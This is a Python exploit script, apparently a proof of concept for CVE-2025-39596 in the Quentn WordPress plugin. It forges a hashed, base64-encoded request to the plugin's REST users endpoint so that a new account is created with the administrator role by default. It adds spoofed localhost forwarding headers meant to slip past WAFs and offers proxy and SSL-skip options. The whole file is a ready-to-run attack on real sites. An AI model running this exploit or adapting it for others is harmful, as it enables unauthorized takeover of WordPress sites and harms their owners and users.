#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import base64
import hashlib
import json
import random
import requests
import time
import urllib3
from urllib.parse import urlparse
def print_banner():
banner = r"""
@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@@@@ @@@@@@@ @@@@@@ @@@@@@ @@@@@@@ @@@@@@ @@@@@@
@@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@
!@@ @@! @@@ @@! @@@ @@! @@@@ @@@ !@@ @@@ @@! @@@ !@@ @@! @@@ !@@
!@! !@! @!@ !@! @!@ !@! @!@!@ @!@ !@! @!@ !@! @!@ !@! !@! @!@ !@!
!@! @!@ !@! @!!!:! @!@!@!@!@ !!@ @!@ @! !@! !!@ !!@@!! @!@!@!@!@ @!@!!@ !!@!!@!! !!@@!! !!@!!@!! !!@@!@!
!!! !@! !!! !!!!!: !!!@!@!!! !!: !@!!! !!! !!: @!!@!!! !!!@!@!!! !!@!@! !!@!!! @!!@!!! !!@!!! @!!@!!!!
:!! :!: !!: !!: !:! !!:! !!! !:! !:! !!: !!! !:! !!! !:! !:!
:!: ::!!:! :!: :!: :!: !:! :!: !:! :!: !:! !:! !:! :!: !:!
::: ::: :::: :: :::: :: ::::: ::::::: :: :: ::::: :::: :: :: :::: ::::: :: :::: :: ::::: :: :::: :::
:: :: : : : :: :: :: : ::: : : : : :: : ::: :: : : : : : : : : :: : : : : : :: : :
"""
print(banner)
print("Nxploited | Khaled Alenazi\n")
def gen_headers(cookie=None, add_extra=False):
agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Nxploited",
"Mozilla/5.0 (X11; Linux x86_64) Nxploited",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Nxploited",
"Nxploited/1.0 (compatible;)",
"Nxploited/2.0 (Special Edition)",
"Mozilla/5.0 Nxploited",
"Nxploited-Bypass/7.0",
"Nxploited-Advanced/1337"
]
h = {
"User-Agent": random.choice(agents) + " | Nxploited",
"X-Nxploited": "Nxploited",
"Content-Type": "application/json",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "close"
}
if add_extra:
h["Referer"] = "https://google.com/Nxploited"
h["X-Forwarded-For"] = "127.0.0.1"
h["Forwarded"] = "for=127.0.0.1"
h["Nxploited-Skip"] = "true"
h["Accept"] = "*/*"
if cookie:
h["Cookie"] = cookie
return h
def build_inner_json(email, fname, lname, role):
return {
"data": {
"users": [
{
"email": email,
"first_name": fname,
"last_name": lname
}
],
"roles": {
"add_roles": [role]
},
"notify": False
}
}
def encode_payload(inner_json):
return base64.b64encode(json.dumps(inner_json).encode()).decode()
def gen_vu():
return int(time.time()) + random.randint(1800, 3700)
def build_hash(b64_data, vu, key):
raw = f"{b64_data}{vu}{key}" if key else f"{b64_data}{vu}"
return hashlib.sha256(raw.encode()).hexdigest()
def build_payload(email, fname, lname, role, key):
inner_json = build_inner_json(email, fname, lname, role)
b64_data = encode_payload(inner_json)
vu = gen_vu()
hash_val = build_hash(b64_data, vu, key)
return {
"data": b64_data,
"vu": vu,
"hash": hash_val
}
def normalize_url(url):
parsed = urlparse(url, "http")
scheme = parsed.scheme if parsed.scheme in ["http", "https"] else "http"
netloc = parsed.netloc if parsed.netloc else parsed.path
return f"{scheme}://{netloc.rstrip('/')}/wp-json/quentn/api/v1/users"
def send_exploit(url, payload, headers, proxies=None, verify_ssl=False):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=20, proxies=proxies or {}, verify=verify_ssl)
return r
except Exception as e:
return e
def is_success(response):
if isinstance(response, Exception):
return False, f"Request Error: {response}"
if "Data Successfully Updated" in response.text:
return True, "Exploit Success By | Nxploited"
return False, f"{response.status_code} | {response.text[:256]}"
def main():
print_banner()
parser = argparse.ArgumentParser(description="CVE-2025-39596 | Nxploited")
parser.add_argument("-u", "--url", required=True, help="Target WordPress site URL")
parser.add_argument("-e", "--email", required=True, help="Email for new admin account")
parser.add_argument("-f", "--fname", default="Pwn", help="First name")
parser.add_argument("-l", "--lname", default="Admin", help="Last name")
parser.add_argument("-r", "--role", default="administrator", help="Role to assign")
parser.add_argument("-k", "--key", default="", help="Quentn API key if known")
parser.add_argument("--cookie", default=None, help="Add cookie for authenticated bypass if needed")
parser.add_argument("--proxy", default=None, help="Proxy (ex: http://127.0.0.1:8080)")
parser.add_argument("--skip-ssl", action="store_true", help="Skip SSL verification")
parser.add_argument("--extra", action="store_true", help="Add extra headers (bypass/WAF/etc)")
args = parser.parse_args()
endpoint = normalize_url(args.url)
payload = build_payload(args.email, args.fname, args.lname, args.role, args.key)
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
headers = gen_headers(args.cookie, args.extra)
response = send_exploit(endpoint, payload, headers, proxies, not args.skip_ssl)
ok, msg = is_success(response)
print(msg)
if __name__ == "__main__":
main()
